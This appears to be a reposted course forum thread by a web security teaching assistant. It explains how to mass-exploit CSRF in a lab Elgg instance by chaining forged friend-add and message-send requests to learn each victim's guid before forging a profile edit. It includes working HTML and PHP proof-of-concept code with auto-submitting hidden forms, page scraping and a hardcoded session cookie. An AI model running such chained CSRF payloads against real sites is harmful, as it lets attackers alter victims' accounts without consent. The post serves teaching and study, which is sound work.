Preface:

This is initially the discussion thread I posted in the LumiNUS forum under the module CS5331(Web Security), I was the TA for that module back then, and I think it is worthy to bring it here as well, below is the original text:

Since the deadline for homework 2 has passed, I can post it here for discussion, and hopefully can give you some fresh ideas on the web security.

The question 2 of the Task 1 in homework 2:

1
Question 2: If Boby would like to launch the attack to anybody who visits his malicious web page. In this case, he does not know who is visiting the web page beforehand. Can he still launch the CSRF attack to modify the victim’s Elggprofile? Please explain.

So basically the question is asking if you can massively exploit the csrf vulnerability to modify victims’ profile.

Many people say no because the guid is not fixed and everyone has their own unique guid, so there is no way for the attacker to guess the guid of the victim who will visit the malicious webpage beforehand.

The answer above is generally correct for csrf vulnerabilities, but not for this specific case.

One should always remind himself that the web security is never an isolated question, fixing one vulnerability does not guarantee security, nor does fixing many. In my understanding, ‘Low-level’ vulnerability is more like the combination of the input and the function, input is like water, and function is like a river channel, when water flows through the river channel, if the river channel is too shallow to hold huge capacity of water, that’s when overflow occurs. ‘High-level’ vulnerability is like the combination of multiple rivers, and the rivers are inter-connected. So for the case where one river channel is deep enough to hold the water, it may not be the case for other rivers. And because the rivers are inter-connected, so water is able to flow from one river to the other rivers, and flooding the not-so-deep river channels, and that is where vulnerability occurs.

Back to the topic.

One of the simplest way of massive exploitation is to bruteforce the guid of the victims. By observation on the Elgg web app, one can notice that the guid for users are all below 100, so I can try out every possible guid from 1 to 100 using js. Exploit omitted.

However, one also can easily see the draw-backs of this method:

  1. what if the amount of the registered users is over 1 million? can you bruteforce from 1 to 1million?

  2. what if the users’ guids are not in sequence, or not even numeric? can you bruteforce all the combination of alphanumeric characters?

  3. if you really try out the bruteforce approach, you may probably notice this:

    image-20200308004518381

    before the victim’s profile gets modified, many error may have alerted the users.

So is there any other ways of doing mass exploitation? The answer is yes(or else why would I even start this thread?)

before I go to the alternative ways, I would like to discuss some approaches proposed by some of you.

Some of you said that since the victims’ guid can be found in the source code of the member page. So the attacker can visit the member page first, and parse the source code and get the victim’s guid. That is not achievable if the attacker has no control over the web server because CORS (Cross-Origin Resource Sharing) need extra configuration from the server side.

Some of you say that the attacker can redirect the user to the member page and get the victims’ guids. That is not achievable because once the victim is redirected to the elgg web app, the attacker has no control over the victim’s tab already, how can he launch the csrf?

Some of you even say that the attacker can embed an iframe of the victim’s member page, and get the guid from the iframe, and that is also not true. Remember SOP(Same-origin policy)?

Although the approaches proposed above are not achievable, it provides us some idea of mass exploitation: we need to get the victim’s guid first, before lauching the csrf attack(session riding), but due to the restriction of SOP and CORS, purely javascript is not desired.

Remember that “the web security is never an isolated question”? If one can refer back to the warm-up exercise before the task 1, he would notice that sending a friend request(adding a friend) does not require guid, a simple get request will do.

So the idea is that before launching the csrf attack to modify profile, use the csrf attack to force the victim to add the attacker as a friend, then the attacker can retrieve the guid of the victim at the backend from his friend list.

However, Elgg is adopting a strange one-way friend system, so even if the victim add the attacker as a friend, the victim won’t appear in the attacker’s friend list, but only in the victim’s friend list.

However, the adding friend event will be reflected on the activity page

image-20200308011108593

and from the activity page, the attacker can get the victim’s guid.

We can craft a two-stage csrf exploitation which works as follow:

  1. The attacker launch the csrf attack to force the victim to add him as a friend.
  2. The attacker get the victim’s guid in the activity page at the backend
  3. The attacker launch the csrf attack to modify the victim’s profile by providing the victim’s guid.

The sample exploit as follows:

task1b.html

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
</head>
<body>
<script type="text/javascript">
function stage2() {
document.write("<iframe name='hideFrame' style=\"display:none;\" src=./Task1b.php ></iframe>");
}
setTimeout(function(){stage2();},1500);
</script>
<img width=0 height=0 src="http://www.csrflabelgg.com/action/friends/add?friend=43">
</body>
</html>

43 is the guid of the attacker. Notice that I am using setTimeout(function(){stage2();},1500); to delay the csrf attack in the second step by 1.5 seconds, this is to ensure that the victim has send a request to add the attacker as a friend, so that the victim’s guid can be found at the activity page.

task1b.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
$url = "http://www.csrflabelgg.com/activity";

$context = stream_context_create($opt);
$output = file_get_contents($url, false, $context);
preg_match("/elgg-river-summary\"><a href=\"(.*?)\" class=\"elgg-river-subject/", $output, $match);
$url = $match[1];

preg_match("/class=\"elgg-river-subject\">(.*?)<\/a> is now/", $output, $match);
$victim_name = $match[1];
$output = file_get_contents($url);
preg_match("/data-page-owner-guid=\"(.*)\">/", $output, $match);
$victim_guid = $match[1];

echo <<<EOT
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://www.csrflabelgg.com/action/profile/edit" method="POST">
<input type="hidden" name="name" value="$victim_name" />
<input type="hidden" name="description" value="&lt;p&gt;bob is my hero&lt;&#47;p&gt;&#13;&#10;" />
<input type="hidden" name="accesslevel&#91;description&#93;" value="2" />
<input type="hidden" name="guid" value="$victim_guid" />
<!--<input type="submit" value="Submit request" />-->
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
EOT;

?>

I am parsing the activity page and retrieve the first row of entry as the add friend event from the victim.

However, this approach also has some draw-backs:

I am assuming the victim are visiting the attacker’s page in sequence, which means only after the two-stage exploit completed, another victim will visit the attacker’s page, which is obviously not the case in the real world. Imagine victim A visit the attacker’s page in 0th second, and another victim B visit the attacker’s page in 1st second. So the second-stage exploit for victim A will fail because the second-stage exploit will launch at 1.5th second, and the guid it gets will be the guid of the victim B, leading to the failure of the exploitation.

Learning from the limitation of the method above, a general direction is to tell the difference between different victims, so one victim’s unique guid can be correctly retrieved, without messing up with other victims.

Due to the limitation of the adding friend request(no other information is passed on), the attacker cannot link each add friend event to the actual victim, thus, we need to find another attack surface. It didn’t take me long to find that sending message function is also vulnerable to the csrf attack!

We can set a unique id for different victim’s, and exploit the csrf vulnerability to force the victim to send his unique id to the attacker, then the attacker can identify the victim by their unique id in the attacker’s inbox. In order to bind different users to a fix but unique id, a session is required.

The sample exploit as follows:

task1b.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head>
</head>
<body>
<script type="text/javascript">
function stage2() {
document.write("<iframe name='hideFrame' style=\"display:none;\" src=\"./test.php?stage=2\" ></iframe>");
}
setTimeout(function(){stage2();},1500);
</script>
<iframe name='hideFrame' style="display:none;" src="./task1b.php?stage=1" ></iframe>
</body>
</html>

setTimeout(function(){stage2();},1500); is used for the similar reason in the last approach.

task1b.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
session_start();

// to generate a unique id
function getRandStr($length){
$str='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$len=strlen($str)-1;
$randstr='';
for($i=0;$i<$length;$i++){
$num=mt_rand(0,$len);
$randstr .= $str[$num];
}
return $randstr;
}
$flag=getRandStr(10);

// bind this unique id to the session in order to mark the victim.
if (!isset($_SESSION['flag'])) {
$_SESSION['flag'] = $flag;
}

// stage 1 is to send the unique id to the attacker
if (isset($_GET['stage'])) {
if ($_GET['stage'] == 1) {
$mark = $_SESSION['flag'];
echo <<<EOT
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://www.csrflabelgg.com/action/messages/send" method="POST">
<input type="hidden" name="recipients" value="" />
<input type="hidden" name="recipients&#91;&#93;" value="43" />
<input type="hidden" name="subject" value="$mark" />
<input type="hidden" name="body" value="test" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
EOT;
// stage 2 is to retrieve the guid of the victim from inbox based on the unique id in session.
} else if ($_GET['stage'] == 2) {
$url = "http://www.csrflabelgg.com/messages/inbox/boby";
$mark = $_SESSION['flag'];
$opt = array(
'http'=>array(
'method'=>"GET",
'header'=>"Cookie: Elgg=o0l8e4ppqrmubtaj31mdp4dc83"
)
);
$context = stream_context_create($opt);
$output = file_get_contents($url, false, $context);
//echo $output;
preg_match("/send_to=(\d+)\">(.*?)<\/a><\/div>\n<div class=\"messages-subject\"><a href=\"http:\/\/www.csrflabelgg.com\/messages\/read\/(\d+)\">$mark<\/a>/",$output,$match);
$victim_guid = $match[1];
echo <<<EOT
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://www.csrflabelgg.com/action/profile/edit" method="POST">
<input type="hidden" name="description" value="&lt;p&gt;bob is my hero&lt;&#47;p&gt;&#13;&#10;" />
<input type="hidden" name="accesslevel&#91;description&#93;" value="2" />

</form>
<script>document.forms[0].submit();</script>
</body>
</html>
EOT;
}
}
?>

Demo:

Some food for thoughts:

  • Is there any limitation to the third approach?
  • What do you think is the root cause for the possibility of such mass exploitation on csrf vulnerability?